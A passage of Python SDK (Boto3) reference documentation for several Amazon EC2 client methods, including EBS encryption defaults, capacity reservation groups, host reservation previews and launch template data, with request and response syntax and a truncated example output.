'InstanceFamilyCreditSpecification': { + 'InstanceFamily': 't2'|'t3'|'t3a'|'t4g', + 'CpuCredits': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceFamilyCreditSpecification** _(dict) --_ + + The default credit option for CPU usage of the instance family. + + * **InstanceFamily** _(string) --_ + + The instance family. + + * **CpuCredits** _(string) --_ + + The default credit option for CPU usage of the instance family. Valid values are standard and unlimited . + + +get_ebs_default_kms_key_id(kwargs_) + +Describes the default customer master key (CMK) for EBS encryption by default for your account in this Region. You can change the default CMK for encryption by default using ModifyEbsDefaultKmsKeyId or ResetEbsDefaultKmsKeyId . + +For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetEbsDefaultKmsKeyId) + +**Request Syntax** + +response = client.get_ebs_default_kms_key_id( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'KmsKeyId': 'string' +} + +**Response Structure** + +* _(dict) --_ + * **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the default CMK for encryption by default. + + +get_ebs_encryption_by_default(kwargs_) + +Describes whether EBS encryption by default is enabled for your account in the current Region. + +For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetEbsEncryptionByDefault) + +**Request Syntax** + +response = client.get_ebs_encryption_by_default( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'EbsEncryptionByDefault': True|False +} + +**Response Structure** + +* _(dict) --_ + * **EbsEncryptionByDefault** _(boolean) --_ + + Indicates whether encryption by default is enabled. + + +get_groups_for_capacity_reservation(kwargs_) + +Lists the resource groups to which a Capacity Reservation has been added. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetGroupsForCapacityReservation) + +**Request Syntax** + +response = client.get_groups_for_capacity_reservation( + CapacityReservationId='string', + NextToken='string', + MaxResults=123, + DryRun=True|False +) + +Parameters + +* **CapacityReservationId** (_string_) -- + + **[REQUIRED]** + + The ID of the Capacity Reservation. + +* **NextToken** (_string_) -- The token to use to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the returned nextToken value. This value can be between 5 and 500. If maxResults is given a larger value than 500, you receive an error. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'CapacityReservationGroups': [ + { + 'GroupArn': 'string', + 'OwnerId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **CapacityReservationGroups** _(list) --_ + + Information about the resource groups to which the Capacity Reservation has been added. + + * _(dict) --_ + + Describes a resource group to which a Capacity Reservation has been added. + + * **GroupArn** _(string) --_ + + The ARN of the resource group. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the resource group. + + +get_host_reservation_purchase_preview(kwargs_) + +Preview a reservation purchase with configurations that match those of your Dedicated Host. You must have active Dedicated Hosts in your account before you purchase a reservation. + +This is a preview of the PurchaseHostReservation action and does not result in the offering being purchased. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetHostReservationPurchasePreview) + +**Request Syntax** + +response = client.get_host_reservation_purchase_preview( + HostIdSet=[ + 'string', + ], + OfferingId='string' +) + +Parameters + +* **HostIdSet** (_list_) -- + + **[REQUIRED]** + + The IDs of the Dedicated Hosts with which the reservation is associated. + + * _(string) --_ +* **OfferingId** (_string_) -- + + **[REQUIRED]** + + The offering ID of the reservation. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CurrencyCode': 'USD', + 'Purchase': [ + { + 'CurrencyCode': 'USD', + 'Duration': 123, + 'HostIdSet': [ + 'string', + ], + 'HostReservationId': 'string', + 'HourlyPrice': 'string', + 'InstanceFamily': 'string', + 'PaymentOption': 'AllUpfront'|'PartialUpfront'|'NoUpfront', + 'UpfrontPrice': 'string' + }, + ], + 'TotalHourlyPrice': 'string', + 'TotalUpfrontPrice': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CurrencyCode** _(string) --_ + + The currency in which the totalUpfrontPrice and totalHourlyPrice amounts are specified. At this time, the only supported currency is USD . + + * **Purchase** _(list) --_ + + The purchase information of the Dedicated Host reservation and the Dedicated Hosts associated with it. + + * _(dict) --_ + + Describes the result of the purchase. + + * **CurrencyCode** _(string) --_ + + The currency in which the UpfrontPrice and HourlyPrice amounts are specified. At this time, the only supported currency is USD . + + * **Duration** _(integer) --_ + + The duration of the reservation's term in seconds. + + * **HostIdSet** _(list) --_ + + The IDs of the Dedicated Hosts associated with the reservation. + + * _(string) --_ + * **HostReservationId** _(string) --_ + + The ID of the reservation. + + * **HourlyPrice** _(string) --_ + + The hourly price of the reservation per hour. + + * **InstanceFamily** _(string) --_ + + The instance family on the Dedicated Host that the reservation can be associated with. + + * **PaymentOption** _(string) --_ + + The payment option for the reservation. + + * **UpfrontPrice** _(string) --_ + + The upfront price of the reservation. + + * **TotalHourlyPrice** _(string) --_ + + The potential total hourly price of the reservation per hour. + + * **TotalUpfrontPrice** _(string) --_ + + The potential total upfront price. This is billed immediately. + + +get_launch_template_data(kwargs_) + +Retrieves the configuration data of the specified instance. You can use this data to create a launch template. + +This action calls on other describe actions to get instance information. Depending on your instance configuration, you may need to allow the following actions in your IAM policy: DescribeSpotInstanceRequests, DescribeInstanceCreditSpecifications, DescribeVolumes, DescribeInstanceAttribute, and DescribeElasticGpus. Or, you can allow describe* depending on your instance requirements. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetLaunchTemplateData) + +**Request Syntax** + +response = client.get_launch_template_data( + DryRun=True|False, + InstanceId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplateData': { + 'KernelId': 'string', + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'Encrypted': True|False, + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'KmsKeyId': 'string', + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'Throughput': 123 + }, + 'NoDevice': 'string' + }, + ], + 'NetworkInterfaces': [ + { + 'AssociateCarrierIpAddress': True|False, + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'InterfaceType': 'string', + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string', + 'PartitionNumber': 123 + }, + 'RamDiskId': 'string', + 'DisableApiTermination': True|False, + 'InstanceInitiatedShutdownBehavior': 'stop'|'terminate', + 'UserData': 'string', + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'ElasticGpuSpecifications': [ + { + 'Type': 'string' + }, + ], + 'ElasticInferenceAccelerators': [ + { + 'Type': 'string', + 'Count': 123 + }, + ], + 'SecurityGroupIds': [ + 'string', + ], + 'SecurityGroups': [ + 'string', + ], + 'InstanceMarketOptions': { + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + 'CreditSpecification': { + 'CpuCredits': 'string' + }, + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'HibernationOptions': { + 'Configured': True|False + }, + 'MetadataOptions': { + 'State': 'pending'|'applied', + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + } +} + +**Response Structure** + +* _(dict) --_ + + * **LaunchTemplateData** _(dict) --_ + + The instance data. + + * **KernelId** _(string) --_ + + The ID of the kernel, if applicable. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **BlockDeviceMappings** _(list) --_ + + The block device mappings. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name. + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeralN). + + * **Ebs** _(dict) --_ + + Information about the block device for an EBS volume. + + * **Encrypted** _(boolean) --_ + + Indicates whether the EBS volume is encrypted. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS) that the volume supports. + + * **KmsKeyId** _(string) --_ + + The ARN of the AWS Key Management Service (AWS KMS) CMK used for encryption. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiB. + + * **VolumeType** _(string) --_ + + The volume type. + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **NetworkInterfaces** _(list) --_ + + The network interfaces. + + * _(dict) --_ + + Describes a network interface. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to associate a Carrier IP address with eth0 for a new network interface. + + Use this option when you launch an instance in a Wavelength Zone and want to associate a Carrier IP address with the network interface. For more information about Carrier IP addresses, see [Carrier IP addresses](https://docs.aws.amazon.com/wavelength/latest/developerguide/how-wavelengths-work.html#provider-owned-ip) in the _AWS Wavelength Developer Guide_ . + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to associate a public IPv4 address with eth0 for a new network interface. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **Description** _(string) --_ + + A description for the network interface. + + * **DeviceIndex** _(integer) --_ + + The device index for the network interface attachment. + + * **Groups** _(list) --_ + + The IDs of one or more security groups. + + * _(string) --_ + * **InterfaceType** _(string) --_ + + The type of network interface. + + * **Ipv6AddressCount** _(integer) --_ + + The number of IPv6 addresses for the network interface. + + * **Ipv6Addresses** _(list) --_ + + The IPv6 addresses for the network interface. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **PrivateIpAddress** _(string) --_ + + The primary private IPv4 address of the network interface. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses for the network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet for the network interface. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **ImageId** _(string) --_ + + The ID of the AMI that was used to launch the instance. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **Enabled** _(boolean) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + * **Placement** _(dict) --_ + + The placement of the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. + + * **GroupName** _(string) --_ + + The name of the placement group for the instance. + + * **HostId** _(string) --_ + + The ID of the Dedicated Host for the instance. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance should launch in. Valid only if the placement group strategy is set to partition . + + * **RamDiskId** _(string) --_ + + The ID of the RAM disk, if applicable. + + * **DisableApiTermination** _(boolean) --_ + + If set to true , indicates that the instance cannot be terminated using the Amazon EC2 console, command line tool, or API. + + * **InstanceInitiatedShutdownBehavior** _(string) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + * **UserData** _(string) --_ + + The user data for the instance. + + * **TagSpecifications** _(list) --_ + + The tags. + + * _(dict) --_ + + The tag specification for the launch template. + + * **ResourceType** _(string) --_ + + The type of resource. + + * **Tags** _(list) --_ + + The tags for the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ElasticGpuSpecifications** _(list) --_ + + The elastic GPU specification. + + * _(dict) --_ + + Describes an elastic GPU. + + * **Type** _(string) --_ + + The elastic GPU type. + + * **ElasticInferenceAccelerators** _(list) --_ + + The elastic inference accelerator for the instance. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ + + The type of elastic inference accelerator. The possible values are eia1.medium, eia1.large, and eia1.xlarge. + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + + * **SecurityGroupIds** _(list) --_ + + The security group IDs. + + * _(string) --_ + * **SecurityGroups** _(list) --_ + + The security group names. + + * _(string) --_ + * **InstanceMarketOptions** _(dict) --_ + + The market (purchasing) option for the instances. + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + * **ValidUntil** _(datetime) --_ + + The end date of the request. For a one-time request, the request remains active until all instances launch, the request is canceled, or this date is reached. If the request is persistent, it remains active until it is canceled or this date and time is reached. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. + + * **CreditSpecification** _(dict) --_ + + The credit option for CPU usage of the instance. + + * **CpuCredits** _(string) --_ + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + + * **CpuOptions** _(dict) --_ + + The CPU options for the instance. For more information, see [Optimizing CPU Options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + * **CapacityReservationSpecification** _(dict) --_ + + Information about the Capacity Reservation targeting option. + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + * **LicenseSpecifications** _(list) --_ + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + * **HibernationOptions** _(dict) --_ + + Indicates whether an instance is configured for hibernation. For more information, see [Hibernate Your Instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **Configured** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + * **MetadataOptions** _(dict) --_ + + The metadata options for the instance. For more information, see [Instance Metadata and User Data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + * **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + * **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + +**Examples** + +This example gets the launch template data for the specified instance. + +response = client.get_launch_template_data( + InstanceId='0123d646e8048babc', +) + +print(response) + +Expected Output: + +{ + 'LaunchTemplateData': { + 'BlockDeviceMappings': [ + { + 'DeviceName': '/dev/xvda', + 'Ebs': { + 'DeleteOnTermination': True, + 'Encrypted': False, + 'Iops': 100, + 